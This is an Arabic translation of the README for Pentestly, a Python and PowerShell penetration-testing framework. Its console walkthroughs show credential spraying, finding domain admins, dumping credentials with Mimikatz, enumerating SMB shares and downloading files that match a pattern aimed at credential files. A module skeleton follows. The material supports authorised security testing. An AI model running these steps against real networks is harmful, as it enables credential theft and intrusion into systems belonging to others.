إطار اختبار اختراق داخلي بلغة بايثون وباورشيل
بنتيستلي هو مزيج من أدوات بايثون المتوسعة لاستخدامها في اختبارات الاختراق. الهدف هو استخدام واجهة مستخدم مألوفة مع تسهيل المساهمات في الإطار باستخدام قوة بايثون.
منشور المدونة: إطار بنتيستلي: عندما يلتقي اختبار الاختراق مع بايثون وباورشيل
المؤلف: @ctfhacker / كوري دوبلانتيس
يقف بنتيستلي على أكتاف العمالقة. فيما يلي الأدوات الحالية المستخدمة في بنتيستلي:
recon-ng - قاعدة البيانات الخلفية لـ recon-ng مصممة بشكل جميل ويتم الاستفادة منها في بنتيستلي لمعالجة البيانات
wmiexec.py - يتيح تنفيذ أوامر باورشيل بسرعة وسهولة عبر WMI
smbmap.py - أداة مفيدة لتعداد مشاركات SMB
Invoke-Mimikatz.ps1 - تطبيق Mimikatz في باورشيل
powercat.ps1 - وظائف شبيهة بـ Netcat في باورشيل
Invoke-Shellcode.ps1 - نشر Meterpreter في باورشيل
CrackMapExec - مصدر إلهام لخادم Mimikatz البسيط في بنتيستلي
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly
دعنا نستعرض عدة وظائف مطبقة حالياً.
[pentestly][default] > workspaces list
+------------+
| Workspaces |
+------------+
| default |
+------------+
[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options
Name Current Value Required Description
-------- ------------- -------- -----------
FILENAME /root/PROJECT/full-all-alive.xml yes مسار واسم ملف لإدخال nmap XML
[pentestly][project][nmap_xml] > run
استخدام ملف يحتوي على بيانات الاعتماد لاختبار تسجيل الدخول
[pentestly][project][login] > cat /tmp/creds
[*] الأمر: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run
استخدام اسم مستخدم وكلمة مرور فرديين
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
استخدام بيانات الاعتماد على مجموعة فرعية صغيرة من عناوين IP أي على شبكة 192.168.8.0/24 الموجودة في الجدول
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'
[pentestly][project][login] > load get_domain # لاحظ البحث الضبابي - get_domain يجد get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options
Name Current Value Required Description
------ ------------- -------- -----------
SOURCE default yes مصدر الإدخال (انظر 'show info' للتفاصيل)
[pentestly][project][get_domain_admin_names] > run
[*] تم العثور على مسؤول مجال: domain\admin1
[*] تم العثور على مسؤول مجال: domain\admin2
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
اختر واجهة محلية لاستضافة البرامج النصية
0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1
[*] بيانات اعتماد التنفيذ: domain\Admin:[email protected]
[*] نجاح! Admin.DA:p@$$w0rd - مسؤول المجال!
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run
+---------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | | nsportsman | password1! | zojix | | | True | True | login |
+---------------------------------------------------------------------------------------------------------------+
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run
+--------------------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin | TheRealDA | </l33TPassword> | zojix | | | True | True | login |
+--------------------------------------------------------------------------------------------------------------------------+
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] بيانات اعتماد التنفيذ: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})
[pentestly][default][interesting_files] > show pentestly_shares
+------------------------------------------------------------------------------------------------+
| rowid | host | username | readwrite | readonly | noaccess | module |
+-------------------------------------------------------------------------------------------------+
| 1 | 192.168.224.252 | Administrator | | ADMIN$,C,C$,Users | IPC$ | enumshares |
+-------------------------------------------------------------------------------------------------+
[pentestly][default][interesting_files] > show options
Name Current Value Required Description
------- ------------- -------- -----------
PATTERN (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$ yes نمط Regex للبحث في أسماء الملفات
SOURCE default yes مصدر الإدخال (انظر 'show info' للتفاصيل)
يمكن تغيير pattern إلى شيء أكثر تخصصاً
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options
Name Current Value Required Description
------- ------------- -------- -----------
PATTERN important.txt|super_secret yes نمط Regex للبحث في أسماء الملفات
SOURCE default yes مصدر الإدخال (انظر 'show info' للتفاصيل)
تنفيذ وتنزيل الملفات الموجودة
[pentestly][default][interesting_files] > run
[*] Administrator
[*] بيانات اعتماد التنفيذ: workgroup\Administrator:[email protected]
[+] تم العثور على تطابق! جارٍ التنزيل: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] تم العثور على تطابق! جارٍ التنزيل: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt
إنشاء وحدات جديدة سهل في بنتيستلي. ابدأ بالكود المقدم في skeleton.py:
from libs.pentestlymodule import PentestlyModule
class Module(PentestlyModule):
meta = {
'name': 'اسم الوحدة الخاص بك هنا',
'author': 'اسم المطور هنا',
'description': 'وصف الوحدة هنا',
'query': 'استعلام SQL تُمرر نتيجته إلى وحدتك',
'options': (
('Option1', 'القيمة الافتراضية', مطلوب-صحيح/خطأ, 'وصف الخيار'),
),
}
def module_pre(self):
# اختياري
# يحدث قبل الوحدة الخاصة بك
def module_run(self, data):
# مطلوب
# data هي نتيجة استعلام SQL المُعد في الخيارات
### بعض الدوال السحرية
# self.query - تنفيذ استعلام SQL على قاعدة البيانات الداخلية
results = self.query("select * from pentestly_creds")
# self.output - طباعة معلومات افتراضية للمستخدم
self.output("تم تنفيذ استعلام SQL")
self.output(results)
# self.alert - طباعة رسالة نجاح للمستخدم
self.success("رائع! لقد قمنا بعمل ناجح")
def module_post(self):
# اختياري
# يحدث بعد الوحدة الخاصة بك
النقاط الرئيسية هنا هي ملء قاموس meta بالمعلومات المقابلة بالإضافة إلى دالة module_run لوظيفة الوحدة.
ثم يتم وضع هذا البرنامج النصي في مجلد modules/ أو في مجلد ~/.pentestly/modules الشخصي لقابلية النقل.
ترقبوا شرحاً تفصيلياً لبرنامج نصي مثال في الأسابيع القادمة.
secretsdump.pycreds, servicesالإصدار الأولي